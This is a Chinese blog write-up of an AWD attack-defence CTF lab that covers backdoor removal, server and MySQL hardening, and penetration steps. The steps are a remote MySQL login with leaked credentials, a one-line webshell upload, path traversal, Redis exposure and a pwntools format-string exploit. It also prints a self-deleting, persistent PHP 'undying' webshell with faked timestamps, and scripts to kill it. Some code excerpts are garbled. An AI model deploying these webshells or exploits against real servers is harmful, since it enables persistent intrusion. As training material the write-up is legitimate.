基于AWD攻防对Web漏洞的研究

写在前面

Copyright © [2023] [Myon⁶]. All rights reserved.

基于awd攻防环境和xshell远程连接,配合kali linux渗透系统、蚁剑、D盾、河马、Seay代码审计系统等,演示现实中网站可能存在的漏洞,对网站进行漏洞扫描,渗透测试,包括SQL注入、文件上传、任意文件读取、Mysql远程连接、Redis未授权访问漏、PWN二进制漏洞等,以获取目标shell,并对网站漏洞进行修复与加固,总结防御措施,增强网络安全意识。

本人CSDN博客地址:http://myon6.blog.csdn.net

期待大家的关注与支持!

目录

一、背景介绍

1、AWD赛制

2、Web安全

3、网络空间安全

二、大致流程

三、详细过程

1、xshell连接与html目录下载

2、Webshell后门文件查杀与Seay代码审计系统

3、漏洞修复与系统加固

(1)后门文件查杀

(2)加固用户名密码(用户层)

(3)加固SQL数据库(服务层)

(4)改网站后台密码

4、对网站进行渗透测试

(1)mysql数据库远程连接

(2)文件上传漏洞

(3)任意文件读取漏洞

(4)Redis未授权访问漏洞

(5)pwn二进制漏洞

5、基于条件竞争对不死马的研究

四、结果分析

五、体会与总结


一、背景介绍

1、AWD赛制

AWD赛制是一种网络安全竞赛的赛制。AWD赛制由安全竞赛专家及行业专家凭借十多年实战经验,将真实网络安全防护设备设施加入抽象的网络环境中,模拟政府、企业、院校等单位的典型网络结构和配置,开展的一种人人对抗的竞赛方式,考验参赛者攻防兼备的能力。其主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。

2、Web安全

随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。

3、网络空间安全

党的十八大以来,我国网络安全和信息化事业取得重大成就,党对网信工作的领导全面加强,网络空间主流思想舆论巩固壮大,网络综合治理体系基本建成,网络安全保障体系和能力持续提升,网信领域科技自立自强步伐加快,信息化驱动引领作用有效发挥,网络空间法治化程度不断提高,网络空间国际话语权和影响力明显增强,网络强国建设迈出新步伐。

二、大致流程

1、基于Bugku的awd攻防环境,使用xshell与服务器建立远程连接,熟悉awd的基本流程。

2、压缩打包var/www/html目录下的所有文件,使用D盾、河马等查杀工具进行webshell后门文件查杀,配合seay系统进行代码审计。

3、对网站进行漏洞修复与系统加固,包括加固用户名密码,加固SQL数据库,以及可能存在的弱口令与内核溢出提权。

4、对网站进行渗透测试,包括SQL注入、文件上传、任意文件读取、Mysql远程连接、Redis未授权访问漏、PWN二进制漏洞等。

5、基于条件竞争,研究对不死马(内存马)进行写入利用,shell获取,以及针对不死马的防御处理手段。

三、详细过程

1、xshell连接与html目录下载

拿到账号密码后使用xshell连接,输入主机IP和端口号:

进行用户身份验证,输入给的用户名和密码

连接成功后,切换到html目录

将var/www下的html目录下载下来 (可以使用命令打包,也可以使用xftp传输)

2、Webshell后门文件查杀与Seay代码审计系统

将目录扔给D盾和河马进行扫描查杀:

使用seay进行代码审计:

3、漏洞修复与系统加固

(1)后门文件查杀

查看一下前面扫描到的后门文件 config.php

分析:

`$poc` 变量包含了字符串 "a#s#s#e#r#t";使用 `explode("#", poc)\` 函数将字符串分割成数组 \`poc_1`,每个元素都是 "a"、"s"、"s"、"e"、"r"、"t";

然后,将数组 `poc_1\` 的元素连接起来,形成字符串 \`poc_2`,其值为 "assert";最后,代码执行了 `poc_2(_GET['s'])`,它将执行用户通过 GET 请求传递的参数 's' 对应的值,作为 PHP 代码来执行;我们只需要控制 's' 参数的值,便可以在服务器上执行任意的 PHP 代码,这种代码结构常被称为 "PHP代码注入",因为它允许我们注入恶意代码,直接删掉该文件。

(2)加固用户名密码(用户层)

修改linux用户密码

使用命令

Passwd

输入之后根据提示修改密码即可

删除其他可登录用户

使用命令查看/etc/passwd 文件

cat /etc/passwd

第一个字段显示用户名,第二个字段显示密码状态,如果是 x,则表示密码存储在 /etc/shadow 文件中,第三个字段显示用户 ID,第四个字段显示组 ID;

后面字段依次显示:存储用户信息、主目录的路径、用户的 shell

这里我们配合grep命令查询可登录用户:

cat /etc/passwd |grep bash #有bash表示用户可以登录

我这里只是以自己服务器为例做演示,实际比赛环境肯定不止有root一个可登录用户,并且比赛给我们的账号密码是一个低权限用户,用于访问服务器,一般为非root权限。

如果有权限就删除用户:

userdel -r 用户名

(3)加固SQL数据库(服务层)

进入mysql数据库:mysql -uroot -proot

修改mysql数据库远程连接的密码:

update mysql.user set password=password('新密码') where user='root';

#password为加密方式,不以明文存储,也可以使用md5('新密码')

一定注意:

MySQL 5.7.6版本以下,才能使用此方法来修改密码,从MySQL 5.7.6版本起,user表使用authentication_string列代替之前版本中的password列来存储密码,并且它删除了password列。

我们使用最新的列名进行修改:update mysql.user set authentication_string=password('新密码') where user='用户名';

先查一下它原本的信息(登录IP,用户名,密码)

select host,user,authentication_string from mysql.user;

而那个密码并不在cms库,而是在mysql数据库下的user表

修改cms的密码,假设改为111111:

update mysql.user set authentication_string=password('111111') where user='cms';

修改成功后记得刷新配置

删除匿名用户

注意:默认会存在匿名用户登录(user为空的用户),我们需要删掉它:

delete from mysql.user where user='';

完成之后我们刷新设置:flush privileges;

(4)改网站后台密码

从网站页面或者源码或者目录扫描工具找到后台页面,然后尝试弱口令登入后改管理员密码。

也可以在数据库里面直接修改:

4、对网站进行渗透测试

(1)mysql数据库远程连接

从网站页面入手

是一个登录界面,尝试一些弱口令登录,发现不行

找到登录界面的文件login.php,检索一些关键字(password、email)

这里并没有发现什么有用信息,继续去找和这个文件相关的文件,容易发现它还包含了两个文件:

经过查看head.php和connect.php,最终在后者发现了数据库远程连接的账号密码:

$username = "cms";

$password = "eb0d39d2931c480f";

使用命令进行mysql远程连接

mysql -h47.104.192.166 -P3306 -ucms -peb0d39d2931c480f

连上之后我们查它的数据库和表,最后在cms库下的users表里发现了页面的登录邮箱和密码:

admin@bugku.com

21232f297a57a5a743894a0e4a801fc3

这里密码进行了加密,解md5得到密码为 admin

在cms库下有一个flag表,我们尝试查它的具体内容,并没有flag

先去登录网站页面

(2)文件上传漏洞

进去之后很容易发现存在文件上传漏洞

我先上传的是普通一句话木马,成了,没有任何绕过

上传成功后直接上蚁剑

(3)任意文件读取漏洞

<?php

error_reporting(0);

// 接受 GET 方式传递过来的 file 值

$f_name = $_GET['src'];

file_path = "../resources/".f_name;

if(file_exists($file_path)) {

header('Content-Type: application/octet-stream');

header('Content-Disposition: attachment; filename="'.basename($file_path).'"');

header('Expires: 0');

header('Cache-Control: must-revalidate');

header('Pragma: public');

header('Content-Length: ' . filesize($file_path));

flush();

readfile($file_path);

die();

} else {

http_response_code(404);

}

?>

代码分析:

  1. `error_reporting(0);` 语句用于关闭PHP错误报告,这意味着在运行时不会显示任何PHP错误或警告。

  2. 通过 `$_GET['src']` 获取名为 'src' 的GET参数的值,该值应该是要下载的文件名。

  3. 构建文件路径 `$file_path`,将 "../resources/" 与 GET 参数 'src' 的值连接起来,形成完整的文件路径。

  4. 使用 `file_exists($file_path)` 检查文件是否存在。如果文件存在,继续执行下面的代码块。

  5. 设置一系列HTTP响应头,以指定下载文件的各种属性,如文件类型、文件名、缓存控制等。

  6. 使用 `readfile($file_path)` 输出文件内容,将文件发送到浏览器进行下载。

  7. `die()` 语句用于终止PHP脚本的执行,确保只返回文件内容,而不会继续执行其他代码。

  8. 如果文件不存在,使用 `http_response_code(404)` 设置HTTP响应代码为404(文件未找到。

允许用户通过GET请求下载服务器上的文件,如果文件存在的话,脚本word.php位于api目录下,以get的方式请求参数src,我们知道flag是在根目录下面,这里可以使用 ../ (访问上一级目录)来实现目录遍历攻击。

(4)Redis未授权访问漏洞

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。

(5)pwn二进制漏洞

这里直接上exp攻击脚本:

from pwn import *

context.terminal = ['termite', '-e']

#p = gdb.debug('./easy_string_format', gdbscript='b *main+125\nc')

p = process('./echoasaservice')

p.recvline()

payload = bytearray()

payload += "%8lx.%9lx.%10$lx".encode()

p.sendline(payload)

flag = p.recvline().decode('utf-8').rstrip()

split = flag.split('.')

endian = "".join(["".join(reversed([j[i:i+2] for i in range(0, len(j), 2)])) for j in split])

print(bytearray.fromhex(endian).decode())

5、基于条件竞争对不死马的研究

这里以PHP不死马为例

测试代码:

<?php

ignore_user_abort(true);

set_time_limit(0);

unlink(FILE);

$file = '.test.php';

code = '\_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';

while (1){

file_put_contents(file,code);

system('touch -m -d "2018-12-01 09:10:12" .test.php');

usleep(5000);

}

?>

上面代码即为最简单的不死马,其目的是创建一个名为".test.php"的PHP文件,该文件包含一个带有密码验证的后门,允许执行任意PHP代码。

关于代码的详细解释:

ignore_user_abort(true);

设置PHP脚本忽略用户中止连接,即使用户在浏览器中停止加载页面,脚本仍然会继续执行。

set_time_limit(0);

设置脚本执行时间限制为0,意味着脚本可以无限期地运行,不会被PHP的执行时间限制所中断。

unlink(FILE);

删除当前正在执行的PHP脚本文件,这是一种尝试隐藏脚本的行为,以防止被发现。

$file = '.test.php';

定义一个变量$file,它包含了要写入的文件名,即".test.php"。

文件最前面带上.就会变成隐藏文件

code='\_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';

定义一个变量$code,其中包含了PHP代码。这段代码首先检查通过GET请求传递的"pass"参数的MD5哈希值是否等于"098f6bcd4621d373cade4e832627b4f6",如果验证成功,它会尝试执行通过POST请求传递的名为"test"的PHP代码。

while (1){...}

这是一个无限循环,它将不断执行以下操作:

file_put_contents($file, $code);

将上述定义的code写入文件file,也就是".test.php",以便不断更新文件内容。

system('touch -m -d "2018-12-01 09:10:12" .test.php'); -

使用system函数,它会执行系统命令touch,以修改".test.php"文件的修改时间为"2018-12-01 09:10:12",这样可以欺骗文件的最后修改时间,以防止检测。

usleep(5000);

等待5毫秒后继续循环,这个睡眠操作是为了降低脚本的资源消耗,避免被系统检测到异常行为。

其中 098f6bcd4621d373cade4e832627b4f6 是加密后的md5值,之所以要进行加密是防止我们的木马被其他队伍利用,这里只是为了测试,加密前内容为test

上传该PHP文件后进行访问

访问后会在该路径下循环生成名字为 .test.php 的不死马隐藏文件

使用蚁剑或者菜刀连接生成的webshell:

http://文件所在路径/.test.php?pass=test

连接密码:test

尝试删除该文件,你会发现无法删除,这就是不死马,因为它已经写入了进程。

使用ls和ll这种命令根本查找不到它,在前面代码我们说了,它会进行自动删除,只有查看新增文件才能发现它:

find ./ -cmin -30 #查看30分钟内创建的文件

处理方法:

1、写入同名文件克制不死马

测试代码:

<?php

ignore_user_abort(true);

set_time_limit(0);

unlink(FILE);

$file = '.test.php';

$code = 'come on!';

while (1){

file_put_contents(file,code);

system('touch -m -d "2018-12-01 09:10:12" .test.php');

usleep(1000);

}

?>

注意:usleep的时间一定要比不死马小,$code修改为无害内容即可

假设文件命名为killshell.php,上传该文件并访问它

注意:一定要先去访问它一遍才能触发写入文件

再次尝试连接webshell发现已经连不上了,返回数据为空

在服务器查看webshell的内容

可以看到,内容不再是一句话木马,而变成了我们后面写入的无害内容

2、使用条件竞争查杀不死马

测试代码:

这是一个bash脚本

#!/bin/bash

while true

do

#kill -9 进程ID

rm -rf .test.php

done

如果能查到不死马的进程ID也可以kill命令和rm命令同时进行

使用命令 top | grep httpd 进行查询或者ps aux列出所有进程,找到要查杀的进程,新建查杀脚本:vim rmshell.sh

添加最高权限:chmod 777 rmshell.sh

在后台不断运行该脚本:nohup ./rmshell.sh &

再次查看不死马,发现已经不存在了

四、结果分析

1、通过压缩打包var/www/html目录下的所有文件,使用D盾、河马等查杀工具进行webshell后门文件查杀,配合seay系统进行代码审计,找到了存在的webshell后面文件并成功清理,加固了自己的网站和数据库密码。

2、基于扫描到和存在的漏洞进行渗透测试,成功修改掉数据库管理员密码,登录网站后台并且拿下网站后台权限。

3、成功在测试网站种下不死马,这样可以实现持续长久的维持后门权限。

基于条件竞争自己编写脚本,成功处理掉了不死马。

五、体会与总结

1、威胁感知与应对:通过实施AWD(Attack and Defense)攻防对Web漏洞的研究,我们深刻了解了攻击者的思维方式和策略,这有助于提高对潜在威胁的感知和应对能力。我们学会了从攻击者的角度审视Web应用程序,以更好地保护它们免受恶意入侵。

2、弱点的深入了解:研究过程中,我们不仅发现了常见的Web漏洞类型,还深入了解了它们的工作原理和利用方法。这有助于我们更好地理解弱点的本质,从而能够更好地修复和防范这些漏洞,提高Web应用程序的安全性。

3、持续改进的必要性:AWD攻防研究不仅揭示了Web漏洞的存在,还强调了安全性是一个持续改进的过程。我们必须不断更新和改进我们的防御策略,以适应不断演变的威胁和攻击技巧。这项研究强调了安全团队需要保持警惕,不断学习和提高,以确保Web应用程序的持续安全。

注:Copyright © [2023] [Myon⁶]. All rights reserved.

相关推荐
熊的猫1 小时前
JS 中的类型 & 类型判断 & 类型转换
前端·javascript·vue.js·chrome·react.js·前端框架·node.js
瑶琴AI前端1 小时前
uniapp组件实现省市区三级联动选择
java·前端·uni-app
会发光的猪。1 小时前
如何在vscode中安装git详细新手教程
前端·ide·git·vscode
我要洋人死2 小时前
导航栏及下拉菜单的实现
前端·css·css3
科技探秘人3 小时前
Chrome与火狐哪个浏览器的隐私追踪功能更好
前端·chrome
科技探秘人3 小时前
Chrome与傲游浏览器性能与功能的深度对比
前端·chrome
JerryXZR3 小时前
前端开发中ES6的技术细节二
前端·javascript·es6
七星静香3 小时前
laravel chunkById 分块查询 使用时的问题
java·前端·laravel
q2498596933 小时前
前端预览word、excel、ppt
前端·word·excel
小华同学ai3 小时前
wflow-web:开源啦 ,高仿钉钉、飞书、企业微信的审批流程设计器,轻松打造属于你的工作流设计器
前端·钉钉·飞书